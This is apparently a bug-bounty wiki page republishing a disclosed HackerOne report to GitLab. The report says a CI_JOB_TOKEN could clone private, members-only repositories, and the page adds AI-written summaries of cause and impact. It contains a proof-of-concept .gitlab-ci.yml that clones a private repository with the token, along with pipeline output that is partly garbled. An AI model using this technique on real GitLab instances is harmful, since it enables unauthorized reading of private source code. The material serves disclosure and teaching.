Gitlab CI runner can be used to access private project data via CI_JOB_TOKEN
The GitLab CI runner allowed any user with a CI_JOB_TOKEN to clone private or internal projects that were set to 'Only Projects Members', bypassing repository visibility restrictions. An attacker could craft a .gitlab-ci.yml to clone and read all data from such projects.
GitLab
Originally disclosed on GitLab
- Fixed in 3 days
- Disclosed after 3 days
HackerOne report #887755 by enumzero on 2020-05-31, assigned to @cmaxim:
Summary
Hi,
I've found a vulnerability that allows an attacker to read private data such as private repositories. It happens because of the Gitlab CL runner, which allows any user who has CI_JOB_TOKEN can git into public (or internal) projects (all data) although the data have been set as Only Projects Members. So by a crafted .gitlab-ci.yml, the attacker can access all private repositories, ...
CI_JOB_TOKEN: Does not have any write permissions but can access, read data.
I have tested with my project which I have visited Visibility, project features, permissions and set Repository to Only Projects Members:
.gitlab-ci.yml:
stages:
- test
test:
stage: test
variables:
GITLAB_INSTANCE: "gitlab.com"
script:
- 'git clone http://gitlab-ci-token:$CI_JOB_TOKEN@$GITLAB_INSTANCE/x/secret-project.git'
- 'ls'
- 'cd secret-project && ls'
Pipeline output:
Running with gitlab-runner 13.0.0 (c127439c)
on docker-auto-scale 0277ea0f
Preparing the "docker+machine" executor
Using Docker executor with image ruby:2.5 ...
Pulling docker image ruby:2.5 ...
Using docker image sha256:a9d2e4b44d5e055s663957105s2c799c45ed for ruby:2.5 ...
Preparing environment
Running on runner-0277ea0f-project-19096088-concurrent-0 via runner-0277ea0f-srm-15s898793-bb66767d...
Getting source from Git repository
$ eval "$CI_PRE_CLONE_SCRIPT"
Fetching changes with git depth set to 50...
Initialized empty Git repository in /builds/jseautiful-project/.git/
Created fresh repository.
From https://gitlab.com/js-beautiful-project
* [new ref] refs/pipelines/151267792 -> refs/pipelines/151267792
* [new branch] master -> origin/master
Checking out 45dc644f as master...
Skipping Git submodules setup
Restoring cache
Downloading artifacts
Running before_script and script
$ git clone http://gitlab-ci-token:$CI_JOB_TOKEN@$GITLAB_INSTANCE/jossecret-project.git
Cloning into 'secret-project'...
warning: redirecting to https://gitlab.coms-project.git/
$ ls
secret-project
$ cd secret-project && ls
LICENSE
secret.sh
Running after_script
Saving cache
Uploading artifacts for successful job
Job succeeded
And if you want, I will access the gitlab-com/finance full git repositories. I won't read or uploaded the repositories to my server.
What is the current bug behavior?
Non-permission users can trigger pipelines run and access all internal repositories with $CI_JOB_TOKEN environment variable.
Example
If you allow me, I will access the gitlab-com/finance full git repositories for example. Or you can try to access my private repo: sst with your Gitlab CL runner.
Impact
Accessed the FULL git repositories of Only Projects Members projects.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the CI_JOB_TOKEN was not properly scoped to the project that created the job, allowing it to authenticate to other projects regardless of their visibility settings.
Impact
An attacker could read the full contents of private repositories that were restricted to project members only.
What the attacker needed
A GitLab account; ability to create a project and run CI pipelines; knowledge of the target project path
How it was found
- Create a project and set its repository visibility to 'Only Projects Members'.
- Add a .gitlab-ci.yml that uses the CI_JOB_TOKEN to clone another project's repository.
- Run the pipeline and observe that the clone succeeds and the private repository contents are listed.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
GitLab projects can be set so only members can see the code. But the system that runs automated jobs (the CI runner) gives each job a special token. The report shows that this token could be used to download the code of projects that were supposed to be private, so someone outside the project could read the source code.
What is Access control?
A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.